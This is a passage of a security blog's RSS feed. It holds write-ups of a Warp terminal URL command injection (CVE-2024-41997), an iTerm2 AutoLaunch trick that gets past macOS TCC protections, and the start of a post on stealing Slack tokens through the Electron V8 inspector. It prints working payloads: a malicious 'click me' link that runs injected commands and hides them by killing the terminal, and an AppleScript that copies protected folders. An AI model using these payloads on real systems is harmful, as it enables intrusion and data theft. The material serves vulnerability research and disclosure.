&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;ppid&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 99035&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;rpid&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 94905&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;ancestors&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#F4B66A"&gt; 94905&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#F4B66A"&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; ],&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;signing info (reported)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;csFlags&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 570495761&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;platformBinary&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;signingID&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;docker&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;teamID&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;9BNSXJN65R&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;cdHash&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;3C35FED4C4007AE09BD99C373127326708E8AC7E&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;signing info (computed)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;teamID&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;9BNSXJN65R&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;signatureID&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;docker&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;signatureStatus&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;signatureSigner&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Developer ID&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;signatureAuthorities&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Developer ID Application: Docker Inc (9BNSXJN65R)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Developer ID Certification Authority&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Apple Root CA&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; ]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;By fuzzing these couple parameters, we quickly find that the command string is not properly sanitized! One can inject into the command string via the &lt;code&gt;shell&lt;/code&gt; parameter, resulting in a URL that looks like this:
&lt;code&gt;warp://action/docker/open_subshell?container_id=d21d266c616a&amp;amp;shell=bash%27%20%26%20id&amp;gt;/tmp/hax&lt;/code&gt;
Opening this URL triggers the docker command, and we can spot the unmatched quote that results from our injected string.
&lt;a class="image-link" data-zoom href="https://0day.gg/images/warp/unmatched-quote.png"&gt;&lt;img src="https://0day.gg/images/warp/unmatched-quote.png" alt="An Unmatched Quote" loading="lazy" decoding="async" width="1512" height="136"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;h2 id="exploitation"&gt;Exploitation&lt;a class="heading-anchor" href="#exploitation" aria-label="Link to Exploitation"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We simply need to balance these quotes again and ensure that they don&amp;rsquo;t interfere with our injected command. I elected to close the quotes and hide them after a comment (&lt;code&gt;#&lt;/code&gt;), like so:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;warp://action/docker/open_subshell?container_id=d21d266c616a&amp;#x26;shell=bash%27%20%26%20id&gt;/tmp/hax%20%23%27&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;shell&lt;/code&gt; parameter decodes to the following:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;bash' &amp;#x26; id&gt;/tmp/hax #'&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/warp/poc.png"&gt;&lt;img src="https://0day.gg/images/warp/poc.png" alt="PoC" loading="lazy" decoding="async" width="1512" height="286"&gt;&lt;/a&gt;
The injected command process launches in the background, and we can observe successful execution by cat&amp;rsquo;ing the output file:
&lt;a class="image-link" data-zoom href="https://0day.gg/images/warp/tmp-hax.png"&gt;&lt;img src="https://0day.gg/images/warp/tmp-hax.png" alt="Success" loading="lazy" decoding="async" width="1684" height="626"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;h3 id="knowing-the-unknowable"&gt;Knowing the Unknowable&lt;a class="heading-anchor" href="#knowing-the-unknowable" aria-label="Link to Knowing the Unknowable"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;There&amp;rsquo;s an obvious issue with this attack scenario, however. We won&amp;rsquo;t have a valid container ID to embed in the URL payload. The great news is that we don&amp;rsquo;t have to. The &lt;code&gt;container_id&lt;/code&gt; parameter is restricted to hexadecimal characters (matching the charset of a typical Docker container ID), but the container ID is not validated before the command string is launched. This means that our injected command will run even if we supply an invalid container ID.
&lt;a class="image-link" data-zoom href="https://0day.gg/images/warp/hex-container-id.png"&gt;&lt;img src="https://0day.gg/images/warp/hex-container-id.png" alt="Invalid Container ID" loading="lazy" decoding="async" width="1514" height="348"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;h3 id="full-exploit"&gt;Full Exploit&lt;a class="heading-anchor" href="#full-exploit" aria-label="Link to Full Exploit"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Putting all of this together, we arrive at the full exploit:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="html"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;html&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;body&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;a href&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;warp://action/docker/open_subshell?container_id=0&amp;#x26;shell=echo%27%20%60id&gt;/tmp/hax%26%26killall%20stable%60%20%27&amp;#x26;user=root&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;click me&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;a&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;body&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;html&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;shell&lt;/code&gt; parameter decodes to the following:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;echo' `id&gt;/tmp/hax&amp;#x26;&amp;#x26;killall stable` '&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;While the user would typically watch the payload command execute on their screen, we can kill the Warp terminal process (&lt;code&gt;stable&lt;/code&gt;) after our payload dispatches in the subshell. This can prevent them from seeing what command is executing, and Warp will not properly restore the window on reopen, so they will not see the command there either.&lt;/p&gt;
&lt;h3 id="demo"&gt;Demo&lt;a class="heading-anchor" href="#demo" aria-label="Link to Demo"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A demo, for your entertainment:
&lt;div class="video-embed"&gt;&lt;iframe src="https://www.youtube-nocookie.com/embed/uJsPZqenjDg" title="Video demonstration" loading="lazy" allow="accelerometer; encrypted-media; gyroscope; picture-in-picture" allowfullscreen referrerpolicy="strict-origin-when-cross-origin"&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;/p&gt;
&lt;h2 id="fixes"&gt;Fixes&lt;a class="heading-anchor" href="#fixes" aria-label="Link to Fixes"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Upon reporting, the issue was fixed swiftly by the Warp team and made available to users after about a week. The &lt;code&gt;shell&lt;/code&gt; parameter now undergoes some sanitization, and launching Docker container subshells now require users to click a confirmation button to proceed. The version containing the fix is &lt;a href="https://docs.warp.dev/getting-started/changelog#id-2024.07.18-v0.2024.07.16.08.02" target="_blank" rel="noopener noreferrer"&gt;&lt;code&gt;v0.2024.07.16.08.02&lt;/code&gt;&lt;/a&gt;. CVE details are available &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-41997" target="_blank" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Should you wish to experiment around with this bug, you can download the last vulnerable stable release of Warp &lt;a href="https://releases.warp.dev/stable/v0.2024.06.18.08.02.stable_03/Warp.dmg" target="_blank" rel="noopener noreferrer"&gt;here&lt;/a&gt;. Note that the application may auto-update to the latest version, so disable internet access or neuter the update mechanism for your own sanity while tinkering.&lt;/p&gt;</description></item><item><title>Bypassing TCC With iTerm2</title><link>https://0day.gg/blog/iterm2-tcc-bypass/</link><guid>https://0day.gg/blog/iterm2-tcc-bypass/</guid><pubDate>Wed, 08 Dec 2021 00:00:00 +0000</pubDate><description>&lt;h2 id="motivation"&gt;Motivation&lt;a class="heading-anchor" href="#motivation" aria-label="Link to Motivation"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When landing a shell in MacOS environments, you&amp;rsquo;ll frequently want access to the files under your victim&amp;rsquo;s home folder. Some of these locations are TCC protected. Specifically &lt;code&gt;~/Documents/&lt;/code&gt;, &lt;code&gt;~/Downloads/&lt;/code&gt;, &lt;code&gt;~/Desktop/&lt;/code&gt; all require their own approvals which correspond to the &lt;code&gt;kTCCServiceSystemPolicyDocumentsFolder&lt;/code&gt;, &lt;code&gt;kTCCServiceSystemPolicyDownloadsFolder&lt;/code&gt;, &lt;code&gt;kTCCServiceSystemPolicyDesktopFolder&lt;/code&gt; service categories respectively. Depending on how you landed your initial access, you may not have the necessary TCC approvals. If your target has iTerm2 installed and they use it for day-to-day work, you may have a simple way around these TCC restrictions.&lt;/p&gt;
&lt;h2 id="iterm2-autolaunch-scripts"&gt;iTerm2 AutoLaunch Scripts&lt;a class="heading-anchor" href="#iterm2-autolaunch-scripts" aria-label="Link to iTerm2 AutoLaunch Scripts"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;iTerm2 has support for autolaunching an AppleScript file at startup, if it&amp;rsquo;s placed at a predetermined path, as documented &lt;a href="https://iterm2.com/documentation-scripting.html" target="_blank" rel="noopener noreferrer"&gt;here&lt;/a&gt;. This technique was also discussed for persistence purposes by noncetonic in &lt;a href="https://blacksunhackers.club/posts/macOS-persistence-via-iterm/" target="_blank" rel="noopener noreferrer"&gt;this post&lt;/a&gt;. Internally, this is done programmatically using &lt;a href="https://developer.apple.com/documentation/foundation/nsuserapplescripttask?language=objc" target="_blank" rel="noopener noreferrer"&gt;NSUserAppleScriptTask&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="the-vulnerability"&gt;The Vulnerability&lt;a class="heading-anchor" href="#the-vulnerability" aria-label="Link to The Vulnerability"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This allows us to have iTerm2 send AppleEvents to itself (or other applications) to do things on our behalf. iTerm2 may not be approved to send AppleEvents to other applications, but an app can always send events to itself. So, anything iTerm2 is approved via TCC to do, we are also approved to do.&lt;/p&gt;
&lt;p&gt;We can craft an &lt;code&gt;AutoLaunch.scpt&lt;/code&gt; that asks iTerm2 to exfiltrate the contents of protected directories like &lt;code&gt;~/Documents&lt;/code&gt;, &lt;code&gt;~/Downloads&lt;/code&gt;, and &lt;code&gt;~/Desktop&lt;/code&gt; when the user launches iTerm2 to a directory that we have full read access to.&lt;/p&gt;
&lt;h2 id="simple-proof-of-concept"&gt;Simple Proof of Concept&lt;a class="heading-anchor" href="#simple-proof-of-concept" aria-label="Link to Simple Proof of Concept"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Write the following contents to &lt;code&gt;~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt&lt;/code&gt;.&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="applescript"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;--&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;tell&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; application&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;iTerm&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; do shell script&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;cp -R ~/Documents/ /tmp/&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;end tell&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;figure class="evidence-figure"&gt;&lt;a class="image-link" data-zoom href="https://0day.gg/images/iterm_tcc.png"&gt;&lt;img src="https://0day.gg/images/iterm_tcc.png" alt="Bypass in Action" loading="lazy" decoding="async" width="1002" height="673"&gt;&lt;/a&gt;
&lt;/figure&gt;&lt;h2 id="caveats"&gt;Caveats&lt;a class="heading-anchor" href="#caveats" aria-label="Link to Caveats"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;An important note is that &lt;code&gt;AutoLaunch.scpt&lt;/code&gt; is only executed when iTerm2 first starts up. If it&amp;rsquo;s already running on the target, you may have to be noisy and kill or hang the process, prompting the user to re-open it.&lt;/p&gt;</description></item><item><title>Looting Electron Apps Via The V8 Inspector</title><link>https://0day.gg/blog/looting-electron-apps/</link><guid>https://0day.gg/blog/looting-electron-apps/</guid><pubDate>Sun, 29 Aug 2021 00:00:00 +0000</pubDate><description>&lt;h2 id="what-is-the-v8-inspector"&gt;What Is The V8 Inspector?&lt;a class="heading-anchor" href="#what-is-the-v8-inspector" aria-label="Link to What Is The V8 Inspector?"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;V8 is the JavaScript engine that ships as part of both Chromium (and derivatives) as well as Node (which is in turn included in Electron). V8 provides a &lt;a href="https://v8.dev/docs/inspector" target="_blank" rel="noopener noreferrer"&gt;debugging interface&lt;/a&gt; that implements a subset of the Chrome DevTools Protocol (hereafter referred to as CDP). In Chromium, Chrome, and other Blink based browsers, methods from all Domains of CDP are exposed through the stub (see the &lt;a href="https://chromedevtools.github.io/devtools-protocol/tot/" target="_blank" rel="noopener noreferrer"&gt;&amp;ldquo;tip-of-tree&amp;rdquo;&lt;/a&gt; or &lt;a href="https://chromedevtools.github.io/devtools-protocol/1-2/" target="_blank" rel="noopener noreferrer"&gt;&amp;ldquo;stable&amp;rdquo;&lt;/a&gt; protocol versions). This will include methods to interface with some of the browser-oriented elements, such as the DOM, page, etc. However, in Electron applications, we&amp;rsquo;re targeting the Node environment. This relegates us to a smaller subset of the CDP (&lt;a href="https://chromedevtools.github.io/devtools-protocol/v8/" target="_blank" rel="noopener noreferrer"&gt;v8-inspector (node)&lt;/a&gt;).&lt;/p&gt;
&lt;h2 id="how-is-this-useful"&gt;How Is This Useful?&lt;a class="heading-anchor" href="#how-is-this-useful" aria-label="Link to How Is This Useful?"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Many Electron applications ship with the command-line option to &lt;a href="https://www.electronjs.org/docs/tutorial/debugging-main-process" target="_blank" rel="noopener noreferrer"&gt;enable the V8 Inspector at startup&lt;/a&gt;, binding it to a local port. We can then connect to this port and perform introspection and manipulation on the target application, extracting secrets along the way. We&amp;rsquo;ll use Slack as a case study in this post, extracting the AuthN token and cookie.&lt;/p&gt;
&lt;h2 id="starting-the-inspector"&gt;Starting The Inspector&lt;a class="heading-anchor" href="#starting-the-inspector" aria-label="Link to Starting The Inspector"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To launch the target with the V8 Inspector enabled, we can use the &lt;code&gt;--inspect&lt;/code&gt; option. Many Electron applications have this enabled (e.g &lt;a href="https://www.ledger.com/ledger-live" target="_blank" rel="noopener noreferrer"&gt;Ledger Live&lt;/a&gt;), just give it a shot on your favorites. In the below example, we&amp;rsquo;re launching Slack on MacOS.&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="text"&gt;&lt;span class="line"&gt;&lt;span&gt;$ /Applications/Slack.app/Contents/MacOS/Slack --inspect&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Debugger listening on ws://127.0.0.1:9229/b84df45f-b494-4e18-b77c-d8ed8f34c44d&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;For help, see: https://nodejs.org/en/docs/inspector&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;Initializing local storage instance&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;(node:82531) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;(Use `Slack --trace-deprecation ...` to show where the warning was created)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;[08/29/21, 19:12:21:841] info:&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;╔══════════════════════════════════════════════════════╗&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;║ Slack 4.18.0, darwin (Store) 20.6.0 on x64 ║&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span&gt;╚══════════════════════════════════════════════════════╝&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="speaking-the-protocol"&gt;Speaking The Protocol&lt;a class="heading-anchor" href="#speaking-the-protocol" aria-label="Link to Speaking The Protocol"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Luckily for us, &lt;a href="https://github.com/mafredri/cdp" target="_blank" rel="noopener noreferrer"&gt;Golang bindings&lt;/a&gt; for the CDP are available. This should allow us to invoke methods on the target with fairly little code.&lt;/p&gt;
&lt;p&gt;While the full CDP exposes some gnarly stuff (&lt;a href="https://mango.pdf.zone/stealing-chrome-cookies-without-a-password" target="_blank" rel="noopener noreferrer"&gt;see MangoPDF&amp;rsquo;s usage of Network.getAllCookies&lt;/a&gt;), the bulk of those methods are not exposed in the Node version. For example, if you attempt to invoke the &lt;code&gt;Network.GetAllCookies&lt;/code&gt; method, you&amp;rsquo;ll get an RPC error: &lt;code&gt;GetAllCookies: rpc error: 'Network.getAllCookies' wasn't found (code = -32601)&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;However, the &lt;code&gt;Runtime&lt;/code&gt; domain exposes something even more powerful, direct access to the JavaScript VM that&amp;rsquo;s running in the target. Using the &lt;code&gt;Runtime.evaluate&lt;/code&gt; method (or the pair of &lt;code&gt;Runtime.compileScript&lt;/code&gt; and &lt;code&gt;Runtime.runScript&lt;/code&gt;), we can execute JavaScript snippets within the context of the Electron application. We can execute some JS snippets remotely with some short PoC code:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="go"&gt;&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;func&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; main&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;()&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
